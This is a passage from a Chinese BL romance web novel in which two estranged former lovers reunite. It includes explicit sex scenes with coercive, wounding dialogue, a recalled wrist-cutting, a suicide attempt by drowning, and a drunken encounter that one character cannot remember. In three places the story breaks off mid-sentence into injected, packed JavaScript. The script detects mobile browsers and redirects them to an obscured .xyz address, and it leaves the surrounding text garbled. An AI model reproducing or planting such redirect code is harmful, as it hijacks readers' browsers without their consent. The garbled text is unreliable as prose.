他戴着眼镜看着这么斯文,行为却混蛋得不行,谭俞愣在原地,一时间不敢相信现在的江淮书会跟过去的江淮书是同一个人。 “我那件外套十六万,”江淮书垂眸看向谭俞,低声继续说,“赔还是脱?” “脱了,然后呢?” 谭俞问。 “跟你睡一觉?这算什么。” 江淮书没有正面回答这个问题,他灭了烟,伸手捏着谭俞的下巴抬起。 “做不做?” “不做滚。” 他气场全开,一股脑地压在谭俞身上,这样的江淮书简直太陌生,谭俞只感觉心在滴血。谭俞扯了一下嘴角,抬手甩开江淮书的手,转身准备走出去,但他左脚才刚迈出半步,他的手就突然被一下子扯了过去,还没等他反应过来,嘴唇就被江淮书堵住了。 这一次,两人的目光才是真正的撞在了一起。 “这么不想让我碰?” 江淮书笑了一声,将眼镜甩到一边,他们凑得极近,睫毛几乎是缠在一起。 “可惜了。” 说着,江淮书的指尖开始往下探,谭俞颤了一下,咬着牙没出声。 “你这么护着他,应该不止是朋友吧?” 江淮书凑到谭俞耳边一字一句地低语。 “他知道你喜欢接吻么?” “知道碰你的腰你会发抖么?” 空气里响起一声解开皮带扣子的声音,清脆又突兀,江淮书握着谭俞的腰将他整个人往下压,钝痛感传来,谭俞瞬间皱眉,微微张着嘴,一时间什么话都说不出来。 “或者说,”江淮书的指尖落到了谭俞的肚子上,低笑,“他到过这里么?” 这话说得难听又刺人,但谭俞也不是什么善茬,说难听话,他同样也会,两人就这么开始互相伤害。 “江淮书,”谭俞缓了缓,抬头看向对方,嘴唇到了一个要吻不吻的距离,他也笑,“你老是提他,反应这么大,我还以为你在吃醋。” 针锋相对与暧昧疯狂撕扯,明明再靠近一点就能吻到一起,但两人都没有这么做,一个抬头,一个低头,就这么对视着。 “你也配?” 江淮书似乎是听到了什么搞笑的事情,嗤笑出声。 “嘶,”谭俞倒吸一口凉气,干脆一头靠在江淮书的肩上,“痛。” 江淮书闻言,语气平淡地说:“痛就行。” 太痛了,谭俞想做点什么转移注意力,他重新抬头吻上江淮书的唇,两人吻得又深又用力,似是解渴又似是较劲,江淮书抬手解开谭俞的衣扣,最后将衣服扔到了地上。 …………………… 到了后半夜,地上一片狼藉,衣服套子落了一地,江淮书吻了吻谭俞的脸,随后咬了一口他的耳朵。 “谭俞,我恨死你了。” 谭俞已经累得一根手指都不想动,但他还是转过了头去,目光落到了江淮书的脸上,他看了对方几秒,随后又勾了勾唇,语气很轻,声音沙哑,带着惯有的轻佻。 “江淮书,” “你是真的恨我,还是忘不掉我?” 28. 他当年是怎么过的 早上醒来时谭俞去浴室里洗了个澡,他看着镜子里的自己,倒吸了一口凉气。 只见他身上,脖子上,腿上……到处都是青青紫紫的吻痕。 这还怎么见人? 谭俞扶额,只感觉一阵头疼,随手拿了件江淮书的短袖穿上就走了出去。昨晚做得太疯,衣服裤子全脏了,现在洗了一时半会儿干不了,他只好硬着头皮穿江淮书的衣服。 走出浴室门时谭俞的手机刚好响起,他走到床边拿起来看了一眼,是华少卿的电话,他的指尖在屏幕上点了一下,选择接听。 “喂?怎么了?” 那边的华少卿语气听起来又急又担心:“你怎么样了谭俞,那个人没有为难你吧?” “没有,”谭俞声音有点沙哑,他清了清嗓子,继续说,“他没怎么为难我,你别担心。” 听了谭俞的话,华少卿这才松了口气:“看来段佳成没骗我。” 谭俞闻言,笑了笑:“段佳成那个大嘴巴跟你说什么了?” “他说你跟那个人认识,不会怎么为难你,”华少卿撇了撇嘴,小声嘀咕,“原来是真的啊。” 最后一句话谭俞还没听完房间门就被打开了,接着江淮书长腿迈了进来,他抬眸扫了一眼正在打电话的谭俞,看到对方左手手腕处的纹身时他动作顿了顿,然后移开视线关上门走了过去。 接下来华少卿说的话谭俞都没听清,他看见江淮书向他走近,随后微微弯下腰撩开他的衣摆,指尖勾着布料,指腹轻轻划过大腿的皮肤,他被弄得一阵颤粟,身体往后仰,被压到了床上。 双腿被打开,熟悉的酥麻感和异物感传来,谭俞闷哼了一声,抬起双眸跟江淮书对视,江淮书无声地吻着他的喉结,随后自顾自地将头埋进他的颈窝,凑到他耳边低声说话。 “抖这么厉害,是在害怕?” 谭俞听了这句话,深吸一口气,心里想着一会儿再跟华少卿解释,然后便挂掉了电话。他伸出长腿勾住江淮书的腰,支起身扬起下巴探出舌尖舔了一下江淮书的唇缝,右手在不知不觉中与对方十指相扣。 “你慢点。” 做的过程中两人一直看着对方的眼睛,眼神都带着模糊不明的情绪,恨和暧昧在空气中安静疯长,谭俞有点上头,轻咬着江淮书唇边的痣,留下了暧昧的痕迹。 “痛么?”江淮书问。 谭俞喘着气,摇摇头,看着他泛红的脸颊,江淮书轻笑了一声,眼神揶揄,看起来轻佻又温柔。 “那就是爽了?” 现在江淮书的举动跟曾经有那么一瞬间的重合,谭俞心跳得很快,嘴唇移到他的下巴上吻了两下,随后又回到嘴唇上蹭,一下一下地碰得很轻,江淮书没动,任他亲了一会儿,接着他摁住谭俞的头,加深了这个吻。 如果说昨晚放纵的理由是要赔江淮书的衣服,那现在还这样的理由是什么?这样不明不白的到底算什么呢?想到这,谭俞换了个姿势,挪动身体坐到江淮书的腿上,他撩了一下头发,搂住江淮书的脖子,轻声开口:“江淮书,我们现在这样算是什么关系?” 江淮书听见他的问话,不答反问:“你想是什么关系?” “你不想正面回答吗,”谭俞轻笑,“那你为什么要介意我跟别人的关系?你不是我的什么人,凭什么管我。” 话音一落,谭俞感觉身下的江淮书动作突然加重,他顿时被刺激得手指抽搐了一下,但尽管是这样,江淮书依旧还是没什么表情地看着他,轻声说:“谭俞,你是不是有点自作多……” 还没等他说完,谭俞忽然抱住了他,他动作一顿,听见谭俞低声道:“我跟他没有什么关系,是普通得不能再普通的朋友了,你别总误会我。” “你像以前一样对我温柔点行不行?” 谭俞松开江淮书的脖子,将身体退开了一些,低下头垂眸看进江淮书的眼底。 “同桌,你疼疼我。” 他可怜兮兮的语气和表情让江淮书瞬间安静。 几秒过后,江淮书伸出手捏着谭俞的脸往自己这边靠,距离被缩短,两人的呼吸一下子缠绵在一起。 “谭俞,”江淮书淡声喊道,“你是不是搞错了什么?” 谭俞听完,愣了一下:“什么?” 江淮书看着他,一字一句接着说:“你是不是觉得你装装可怜,勾勾手,我就会像狗一样回心转意?” 气氛瞬间降到冰点,谭俞僵在原地,不知该作何反应,江淮书勾了勾唇,笑得温柔,但说出来的话却让谭俞如坠冰窟。 “我可以温柔,但不是对你。” “你要是明白,这次过后我们就都离彼此远点,我们断个干净。” 谭俞脸色一下子变得惨白,呼吸也不像刚才那样规律,江淮书见状,淡声问他:“难受?” 听见问话谭俞并没有回答,只是呆愣愣地坐着。他们以最亲密的姿势贴在一起,却没有温存,江淮书似乎觉得还不够,他轻笑着吻了一下谭俞冰凉的嘴唇,接着低声说:“你要难受才好。” “小俞,” 谭俞听见江淮书亲密地喊了他一声,看到对方将脸轻轻贴到他的手上,紧接着一滴温热的水珠落入了他的掌心里。 “我要你跟我一样痛苦。” ————————————————————————— 今晚夜空中的星星格外多,谭俞站在阳台边抽烟,脚边落了一地的烟头,他手指间夹着烟,目光停在眼前的茉莉上,不知在想什么。 当时怎么走出江淮书家的他已经记不清了,只记得脑子里在循环着江淮书的那句“我要你跟我一样痛苦”。 本来以为江淮书吃醋是因为在乎,没想到是为了报复。想到这,谭俞自嘲的笑笑,其实就是不合适吧,那年的他们都太幼稚了,爱得太快也太热烈,如今只留下了一地鸡毛,终归还是有缘无分。 算了吧。 谭俞灭了烟,深吸一口气,闭上了眼睛。 就走到这吧,已经没有必要纠缠不清了。 就在谭俞胡思乱想时,兜里的手机突然震了一下,他拿出来看了一眼,是段佳成的消息。 ddd:你跟江淮书什么情况?你没事儿吧? 落潭:我没事。 ddd:那就好那就好,我还以为你俩打架了。 看到这条信息谭俞突然笑了一下,心想要是真是只是打一架就好了,他停了两秒,打字回段佳成。 落潭:你什么脑回路? ddd:我这叫直觉,以前江淮书看着好像是爱死你了,所以我觉得他应该不会让你赔钱,但你这臭脾气肯定少不了吵一顿。 落潭:……滚。 ddd:对了,李槿迟来咱们这玩儿了你知不知道?! 落潭:不知道。 ddd:这么久没见了,我想请他吃顿饭,你来不来? ddd:不约江淮书! 落潭:我跟李槿迟不太熟。 ddd:哎呀我跟你熟啊!再说了你这几天肯定是因为心情不好才不在状态,出来走走多好,别写你那破小说了,时间定在明天中午,一定要来,别让我浪费钱噢! 段佳成没有给谭俞拒绝的余地,发完这条消息就没有再发了,不过谭俞觉得他说的也不无道理,出去走走也好,想到这他叹了口气,发了条语音过去。 “行。” 第二天中午的时候谭俞去迟了,段佳成给他倒了三大杯可乐逼着他喝完,说是以可乐代酒,还必须罚,谭俞有点想笑,接过来喝了。 “你们先随便聊聊昂,我去点菜。” 段佳成冲李槿迟和谭俞笑笑,站起身朝点菜区走去。 李槿迟抬眸看向段佳成,也勾了勾唇:“好啊哥哥,我等你。” 谭俞跟李槿迟的确不太熟,再加上他是江淮书的发小,更是尴尬,谭俞本来以为两人没什么好聊的,没想到对方居然半点不尴尬,还神态自如地跟自己搭话。 “好久不见啊谭俞,我正想请你吃顿饭呢,没想到约一起了,”李槿迟在手机屏幕上点了两下,随后摁灭放在了桌上,冲谭俞笑道,“手上的纹身挺帅啊,过得怎么样?” 谭俞礼貌性的笑了笑,语气客套:“随便纹的,我过得还行,也就那样,你呢?” “公司太忙了,累死个人,这次出来玩还是我偷摸溜出来的。”李槿迟挑了下眉,一脸无奈。 一般来说两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900365|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个不熟的人客套完就没下文了,谭俞战术性拿果汁,刚准备拿到嘴边喝一口,谁知李槿迟却叫住了他。 “诶,你那杯苦瓜汁味道比较苦,你不喜欢苦的,还是别喝了。” “啊好,”谭俞闻言,放下果汁,有些惊讶的看向李槿迟,“你怎么知道我不喜欢苦的?” 李槿迟看了他几秒,语气轻松地开口:“江淮书告诉我的。” 此话一出,谭俞动作一下子停住,但随后又恢复如常,勉强地扬了扬嘴角:“啊,这样啊。” 他一说完话两人就安静了下来,气氛变得微妙,只剩下周围人聊天的声音。 “谭俞,”李槿迟叫了他一声,等他抬头才接着问道,“你想不想知道你走之后江淮书是怎么过的?” 谭俞睫毛颤了颤,不自觉地握拳,嘴唇动了动:“他……他是怎么过的?” 他的反应被李槿迟尽收眼底,李槿迟看着他,继续开口:“你说的挪威,他去过了。” “那里很漂亮,他拍了很多照片,说让我见到你的时候交到你手上。” 说着,他话语一顿,将一本相册递给了谭俞。 “他在挪威待了一个月之后又回到了梅城,我以为他回到梅城是为了等你回来,但没想到并不是。” 听到这里谭俞不知道为什么一下子紧张了起来,他紧盯着李槿迟,声音有些沙哑地问道:“他怎么了?” 李槿迟闭了闭眼,神情似乎在回忆,接着他睁开眼,看向了谭俞的眼睛。 “他跳海了。” 听到这句话的谭俞瞬间瞳孔收缩,手抖了好几下,一时间什么话都说不出来。 “其实我很好奇,你们明明认识得不久,但为什么却能爱得这么狠,好像离开了对方谁都活不了似的。” “但后来在医院听见江淮书说了你们的事之后我就明白了,你对他来说真的太特殊了,相遇得特殊,相处也特殊,太惊艳就会变得刻骨铭心。” “你可能不知道,他比你想象中还要爱你,你说要给他一个家,他信了,你家里出事的时候需要钱,他这么恨陈文康,却能为了你当着这么多人的面向陈文康下跪,就为了能要到钱。” “他把你当精神支柱,支起他的是你,压垮他的还是你,你为什么,”李槿迟顿了顿,接着说,“你为什么能做得这么绝情,说不爱就不爱了,你有没有想过,他真的只有你了啊。” 谭俞听完这些话,只感觉全身上下都结冰了,明明天气这么热,他却只感觉全身发冷,甚至冷得发抖。 他深吸一口气,颤抖着嘴唇,缓了好一会儿才发出声音。 “我没有不爱他。” “我当时只是不想活了。” 李槿迟没说话,静静地听着。 “跟他分手那天我在割腕,我那时候不成熟,只觉得自己活不下去了,不想拖着江淮书,根本没想过后果,”谭俞捏着相册,低下了头,声音又低又哑,“对不起,真的对不起。” “所以你,”李槿迟嘴唇动了动,“你手上的纹身是为了遮疤?” 还没等谭俞回答,段佳成就风风火火地走了过来,打断了两人的对话。 “OKOKOK,点完菜了,马上就能上。” 见段佳成来了,谭俞整理了一下自己的情绪和表情,坐直了身体,李槿迟冲段佳成勾唇,拿起手机晃了晃:“哥哥,我去接个电话。” “行啊行啊,”段佳成摆摆手,语气潇洒,“去吧。” 李槿迟拿着手机起身走到了门口的一个拐角处,他摁亮了手机屏幕,界面显示在通话中,而通话的那个人正是江淮书。 “都听到了?”李槿迟问。 那边的江淮书静了一会儿才开口说话,声音很低。 “嗯。” 李槿迟吐出一口气,抬眸看向远处:“我说你俩怎么过得这么难?都是些什么破事儿啊……” 江淮书没说话,就这么沉默着,李槿迟叹了口气,说:“你是不是还忘不了谭俞?” 那边很安静,安静到李槿迟还以为江淮书挂电话了,他见江淮书不回答,正准备再重复一遍,但下一秒,他听见江淮书哑声开口。 “我还爱他。” 29. 破冰 “哥!明天我要跟朋友出去玩!” 客厅里响起谭叶的叫喊。 谭俞刚写完小说,此时有点腰酸背痛,他伸了个懒腰,打着哈欠对谭叶说:“可以啊,但是不要给我去那种乱七八糟的地方。”说完他放下电脑,起身去接水。 今天学生放假,谭叶一回来就嚷嚷着明天要出去玩,谭俞当然不管这个,他也是从这个年纪过来的,当然明白这个年纪的孩子有多闲不住,但他担心谭叶学坏,还是叮嘱了几句。 “哎呀相信你老妹行不行?”谭叶贴上面膜往房间里走,嘴里含糊不清地继续说,“我也是有主见的好不好,什么事能干什么事不能干我能不知道吗?” 谭俞见她嘀嘀咕咕着走进房间,叹了口气,心里感叹世态炎凉,他将杯子放下,拿起电脑也回了房间。 自从那天之后谭俞再也没听到过江淮书的消息,也再也没有见到江淮书,日子还在平平淡淡地继续,没有停歇。 其实仔细想来也没什么过不去的,或许有些人有些事,真的只适合存在于回忆当中。 谭俞看着窗外烧红的天呆了一会儿,接着回过神收回目光,他打开手中的相册翻阅着照片,一张张一幕幕都漂亮得令人惊叹。他透过江淮书的镜头去看挪威,只觉得美得过于凄凉,无论是抽条的枝桠还是化掉的雪,处处都透露着惆怅的意味。 “真漂亮,”谭俞低声呢喃,“要是我能亲眼看看就好了。” “应该会很不一样吧?” ————————————————————————— 谭叶早上起得比平时早了很多,化完妆早餐都没吃就跑出去玩儿去了,说是朋友在楼下等急了,谭俞没说什么,随她去了。 按照谭叶的尿性今天晚上肯定是要住朋友家的,所以不用操心晚餐的事,想到这,谭俞收拾好碗筷,躺沙发上休息到中午后便拿起车钥匙下了楼。 谭俞刚走到楼下就听见了猫打架的声音,他停住脚步,脑海里浮现出了一只猫的身影,心里隐隐约约有个猜测,于是便循着声音走了过去,果然,在垃圾箱不远处有两只猫正弓着身子不停叫唤,时不时还会给对方一爪子,其中一只猫正是香蕉。 “香蕉!”谭俞喊了一声,打断了俩只猫的争吵,“过来。” 香蕉听见这熟悉的声音,回头看了一眼谭俞,转身朝这边跑了过来,声音都夹了起来。 “喵——” 谭俞蹲下身将香蕉抱在怀里,伸手拍了拍它背上的灰,轻声道:“上次不是让你不要跟其他小猫打架吗?打得过还好说,打不过痛的就是你。” 说罢,他抱着香蕉转身向车的那边走去。 “走,香蕉,带你出去玩儿。” 谭俞一路开车来到了梅城的时候已经下午了,梅城这儿变化很大,成了很有名的旅游胜地,每天来往的游客都特别多,现如今已经成为了发达地区。 现在的梅城对于谭俞来说熟悉又陌生,他抱着香蕉穿过人群和街道来到了茉莉巷,本以为茉莉巷会是变化最大的地方,但没想到这儿却一点都没变,只不过这巷子里面已经没有住户了。 他穿过巷子口来到一条小道里,那墙上还留着曾经跟段佳成胡闹时画上的涂鸦,歪七扭八的图案已经斑驳了不少,但隐隐约约也还是能够看出来原本的样子。 将墙上的图画仔仔细细看过一遍之后,一个又一个的记忆争先恐后地涌上来,谭俞仿佛已经看到了两个半大不大的小孩儿吵着嘴正往墙上勾画着自以为很好看的图案,他不自觉地勾了勾唇,迈开步子走到另一边的歪脖树下。 这棵歪脖树已经有很多年了,谭俞还没出生的时候它就已经在这儿了,三岁的时候谭俞的妈妈在这棵树下做了个秋千,那时谭俞常常来这里玩,觉得秋千是世界上最好玩的东西。后来家里有了谭叶,他主动把秋千让给谭叶,让妹妹坐上去,自己推着她玩儿,谭叶从小就爱笑,一坐秋千更是笑得合不拢嘴,整条巷子都是她稚嫩的笑声。 谭俞伸手摸了摸秋千上的绳子,心里的情绪愈发汹涌,他想起了姚淑芬,从小到大他的玩具一直都是姚淑芬缝的,老太太手很巧,什么毛衣帽子布娃娃她都会缝,而且外观精美,一点也不比商店里的差,如果她还活着的话,那现在家里的毛线球肯定摆不下。 想到这,谭俞深深吸了一口气,正想寻求慰籍把怀里的香蕉抱紧点,谁知手却扑了个空,谭俞一愣,低头看去,却发现手里啥也没有,空荡荡的。 香蕉不见了! 谭俞愣在原地,仔细回想香蕉什么时候从他怀里跳下去的,但他想了半天也没想出来,可能是他回忆得太入迷,没有注意到香蕉。他心里开始紧张了起来,左右看了一眼,张口大喊:“香蕉?!你去哪儿了?!” “香蕉!!!” 香蕉对梅城一点都不熟悉,如果真找不到那就麻烦了。 谭俞迈开步子小跑起来,眉头皱紧,扯着嗓子又喊了一声:“香蕉?!香蕉!” 现在太阳已经快落山了,夕阳的光辉洒在四处,很是漂亮,不过谭俞没有闲心赏风景,他得赶紧找到香蕉。 他穿过一条条小道,找遍了每一个角落但还是没有找到香蕉,正当谭俞想返回去再找一遍时,一条巷子口的拐角处传来了一道熟悉的,令谭俞心颤的声音。 “吃慢点。” 是江淮书。 声音传来的那里是卷卷生活过的地方,谭俞听见的时候一时间有些恍惚,他有些僵硬地迈开步子,随后向声源处走去。 他一步一步走到拐角处,然后站定,抬眸向对面看了过去。 江淮书穿着一身休闲服,单膝跪地,手里捏着几块冻干正在喂香蕉,垂下的发丝遮住了他的眼睛,夕阳把他的影子照斜了,像是电影的结尾,有种落寞的美。 情景重现,谭俞感觉自己像是穿越到了过去,回到了两人初遇的时候。 “香蕉,”谭俞听见自己哑声开口,“过来。” 听见谭俞的声音,香蕉转头看了过去,江淮书动作顿住,随后也跟着看向了谭俞。 两人隔着一段距离对视,一个抬眼,一个垂眸,夕阳烧进谭俞的眼睛,然后化成倒影,碎在眸底。 跟江淮书对视的一瞬间,谭俞心里闪过慌乱——江淮书为什么要来梅城,又要跳海吗? 这时江淮书率先开口,打断了谭俞的胡思乱想。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900366|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“疼不疼?” 闻言,谭俞愣住了。 见他没反应过来,江淮书将目光落在谭俞手上的纹身上,又问了一遍:“疼不疼?” 谭俞睫毛一颤,摇了摇头。 香蕉吃完冻干,连忙跑到了谭俞的脚边,谭俞见状,蹲下身把它抱了起来。江淮书起身走到谭俞的面前,一阵清风吹过,谭俞闻到了久违的淡橘香,那是只属于曾经的江淮书身上的香气,即使是重逢那天他也没有闻到过,今天再次嗅到这股淡橘香,他只感觉恍如隔世。 江淮书伸手捏住谭俞的下巴抬了起来,接着垂眸看向谭俞的眼睛,淡声说:“你骗我。” 他用另一只手的指尖轻轻划过谭俞手上那处用纹身遮住的疤。 “割这么深,怎么可能不疼?” 谭俞没有回答江淮书,他张了张口,颤着声音问出了那个他一直想问的问题。 “江淮书,你是不是真的特别特别恨我?” 这话一说完,江淮书的目光停住了,他看了谭俞几秒,然后轻笑了一声:“恨啊,当然恨。” “我恨你当初没有理由地丢下我。” “我恨你一次又一次推开我。” “我恨你违背承诺自私自利地甩掉我。” 说着,他伸手温柔地抚过谭俞的脸颊,问道:“你知道我为什么会来你这里教书吗?” 谭俞嘴唇颤抖,什么话都说不出来,即使心里已经知道江淮书恨自己,但这么摊开说出来,他还是觉得心痛得难以呼吸。 江淮书并不强求谭俞回答自己,他自顾自地继续说:“我当然知道你住在哪里,其实我也不明白我要来你们这教书是在发什么疯。” “我想我应该是来看你笑话的,看到你过得不好我心里应该会舒服一点,”他话语一顿,眼里的情绪晦涩无比。 “可是谭俞,你好瘦。” “你好像没有好好吃饭,经常熬夜。这么多年,你大概每天都在思考着怎么过明天才会更好一些,考虑做什么能赚更多的钱,想好怎么样才能照顾好你的妹妹,对么?” “你一直提心吊胆,见到我的那天你笑得比哭还要难看,根本不用问,一眼就能看出来你过得并不好。” “我恨你,你离开了我多久我就恨了你多久,但是你并不知道,看到你过得不好我更难受了,见到你的第一眼我就想抱你,如果你妹妹再来晚几秒,你再晚走几秒,我想我可能真的会冲动带你走。” “谭俞,看见你的第一面我就知道,我恨不了你了。” 谭俞听完,心里掀起一阵惊涛骇浪,情绪翻涌,他皱着眉哑声问:“那你跳海,也是因为恨我吗?” 江淮书闻言,摇摇头:“不是。” “那是为什么?” “因为我想知道如果我死了,你会不会心疼。” 此话一出谭俞瞬间静了。 太阳已经完全落山,夜幕降临,天空中的星星也开始露面,谭俞似是再也忍不住,踮起脚扬起下巴就吻上了江淮书的唇。 他的眼睛里长出了一片海,海水从眼眶里溢出来,从眼角一直流到了耳边,江淮书轻颤的睫毛倒影在他的眼里,那是海水的呼吸。 30. 好消息和坏消息 晚上谭俞回家前将香蕉交给了江淮书,毕竟有个家总比流浪好,而且香蕉看起来还挺喜欢江淮书的。 “那,那我先回家了。”谭俞轻声说。 “好,”江淮书勾了勾唇,“注意安全。” 不知为何,谭俞总觉得自己跟江淮书在解开误会之后比解开误会之前相处起来还要别扭,他坐进车里,在座位上呆了几秒,随后降下车窗,然后将脑袋探出来,冲江淮书笑。 “谢谢,你也要注意安全。” 回家之后谭俞怎么都睡不着觉,一直在床上翻来覆去地滚,他总感觉今天过得很梦幻,本来以为自己跟江淮书真的会就这么算了,但没想到会有今天这一出,虽然说现在两人还什么关系都没有,但解开误会已经是迈出的最大的一步了。 他盯着天花板发呆,脑子里一片空白,就这么静了一会儿后他起身去拿手机,接着打开了微信,点进了跟段佳成的聊天界面。 落潭:我跟江淮书和好了。 消息一发出去他就摁灭了手机,也没管那边的段佳成回不回复,勾起嘴角直接倒头就睡。 这一晚他睡得格外安心,连梦都没有做。 第二天谭俞是被消息吵醒的,手机不停的响,他皱了皱眉,眼睛都还没睁开就去摸手机,直到手机打开了他才朦朦胧胧地睁开眼。 是段佳成。 他一直在给谭俞发消息,也不知道是在发什么疯,谭俞扯了扯嘴角,从他的一条条“啊啊啊啊啊”和“卧槽”中挑到了一句重点,也就是这个重点,让谭俞瞬间睡意全无,一下子从床上坐了起来。 ddd:老谭。。。。 ddd:我完了,我跟李槿迟......睡了。。。。 谭俞脑子嗡嗡作响,在手机屏幕上快速点戳着,发了消息过去。 落潭:什么?! 落潭:你俩睡了???你没骗我? 那边的段佳成也是回得很快,虽然是隔着屏幕,但谭俞已经感受到了他崩溃和绝望。 ddd:嗯。。。 落潭:我不信,你发誓。 ddd:我他妈现在哪有时间跟你开玩笑,而且玩笑也不是这么开的啊! ddd:我,我是直男啊。。。。 ddd:而且,而且...... 落潭:等一下,你先找个地方,我俩到那儿去慢慢说。 ————————————————————————— 地点被定在一个人流稀少的公园里面,谭俞到那的时候段佳成看起来非常憔悴,大热天的他把自己裹得严严实实,谭俞看见他这副模样,这下不信也得信了。 “你......”谭俞观察着段佳成的神色,欲言又止,“你怎么会跟李槿迟搞床上去了?” 段佳成目光呆滞,语气听起来像是快死了。 “我昨晚到他家玩,因为嘴馋喝了点他那的洋酒,全是俄文,我看都看不懂,刚开始喝感觉不太像酒,因为味道很甜,感觉像是饮料,没想到它度数这么高,我喝了三四杯就迷糊了,后面发生了啥我也忘了。” “结果第二天早上醒来我就看见,”段佳成回忆到这,一下子咬紧牙,听起来像是很难以启齿,“我就看见,我就看见我跟李槿迟光着身子躺在一张床上,全身青青紫紫的,内裤也他妈没了,我的腰和屁股还特别酸胀痛......” 听到这里谭俞心里有了点底,他打量了一下段佳成的神色,开口说:“这......这听起来应该是你被他上了。” “什么话啊!” 段佳成吼了一声,话语里全是对李槿迟的忏悔和对自己的行为的愤恨。 “肯定是我上他啊!” “他年纪比我小呢,还总是叫我哥哥,这么乖的一个人,怎么可能会压得住我一个直男?!肯定是我喝醉了,然后兽性大发把他给强行......强行......强行那......强行那个了!” 此话一出,谭俞瞠目结舌:“啧啧啧,看不出来啊段佳成,你,你还挺......” 话说到一半谭俞感觉不太对劲,他话音一顿,皱起了眉:“不对啊,既然是你上他那你屁股怎么会酸胀痛?” “肯定是他反抗我的时候踢了我一脚,”段佳成越想越觉得自己禽兽,他伸手捂住脸,一脸悲痛欲绝,“他都这么激烈反抗了,可我还是对他......” “我,我真不是个东西!他把我当好哥们儿,我却对他做出了这种事!” “虽然我的确觉得他长得很好看,但是我一直都是直男,从来没对他动过歪心思啊。不会是那瓶洋酒的问题吧?听说国外gay多,我喝了那酒不会也变成gay了吧?” 他讲得绘声绘色,滔滔不绝,给谭俞听得一愣一愣的,不过接着谭俞又反应过来,嫌弃地看着段佳成:“哪有这么邪门的酒,你的心理作用吧?我觉得你应该是觉得人家好看,早就看上人家了,所以昨晚才会那样。” “那不可能啊,”段佳成抬起头,仔仔细细看了一遍谭俞,语气蔫了吧唧的,“你也好看啊,跟你相处这么久我怎么没对你有意思?要不我俩亲一口看看?” 谭俞闻言,嘴角抽了抽:“滚。” 段佳成撇撇嘴,正想损谭俞两句,谁知这时他的手机就响了起来,谭俞噤声,扫了一眼他的手机屏幕。 是李槿迟。 这可把段佳成吓了一跳,他并没有接电话,而是一下子站了起来,语气慌张。 “不行!我决定了!我觉得我还是先躲上几天,等我冷静一下再想想怎么处理这件事。” 说着,他转头看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900367|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向谭俞,叮嘱道:“老谭,如果他来找你问我在哪,你就说不知道,一定一定不要出卖我!!!” 谭俞张了张口,刚要回答,但段佳成没有给他这个机会,转身从一条道上跑了,跟做贼似的,只留下他一个人坐在原地。 这件事对于段佳成来说确实冲击力特别大,毕竟他一直都认为自己是直男,突然跟男的睡了心里肯定会膈应,他平时大大咧咧的,又总是冲动做事,但一旦面对大问题他反而会选择去冷静,等冷静下来了再思考怎么解决,谭俞很了解他,面对他的逃避表现并不觉得有什么,因为这件事确实不适合冲动行事。 看见段佳成逃离的身影,谭俞有些想笑又觉得震惊,他是真没想到段佳成的初次竟会是跟男生,也是毕生难忘了。 谭俞坐在原地玩了一会儿手机就去了超市,家里没菜了,他刚好顺路买点回去。 临近秋天,超市里上了不少新菜,谭俞买了点常吃的菜就开始到处逛,逛到工具区时他脚步停住了,拿起蛋糕模具看了几眼,脑海里顿时浮现出来江淮书的身影。 想起曾经江淮书也是经常给自己做小蛋糕吃,有时候他还会站在旁边观望,感觉看起来还挺简单的。想到这,谭俞有些手痒,突然想买回去做做看。 谭俞行动比脑子快,属于行动派,说干就干,毫不拖泥带水,他不仅买了做甜点的模具,还买了一些必要的配料。 回家后他打开手机搜教程,跟着视频里的老师学做奶油,刚开始做的时候他搅拌的速度太快了,做出来的奶油太稀,不好涂抹在饼干上,于是他又重新做,失败到第三次才做出来一碗算勉勉强强看得过去的奶油。 做饼干的过程没这么复杂,成功率也高,于是没过多长时间谭俞就做出了他人生中第一盘蔓越莓奶油饼干,整体看起来很不错,至少卖相挺好,感觉很有食欲。 他将饼干摆了个造型拍照发给了段佳成,然后发了条消息过去。 落潭:等你跟李槿迟解决好事情了来我家吃饼干。 段佳成那边隔了半分钟才回消息,不过不出意外是损谭俞的。 ddd:咋这么丑。 ddd:你放这么多奶油,一会儿苍蝇吃了一口变成蜜蜂了。 落潭:滚。 落潭:爱吃不吃。 谭俞发完消息就懒得搭理段佳成了,他将照片发到朋友圈炫耀了一波,便再没管这些,高高兴兴吃饼干去了。 饼干没怎么弄好,感觉有点糊了,不过奶油盖住了它的焦味,也还算不错,谭俞三两下把饼干吃完,接着又做了一盘等着谭叶回家来吃。 他回到房间躺下,打开手机看朋友圈回复,除了段佳成很多人都在捧场,但能一下子吸引住谭俞的是第一条评论。 是江淮书。 H:很厉害。 31. 名分 “鱼塘老师,我能跟你合个影吗?我真的很喜欢你的小说!” 一个穿着白裙子的女生轻声说,她脸上满是压抑不住的兴奋,眼里全是笑意。 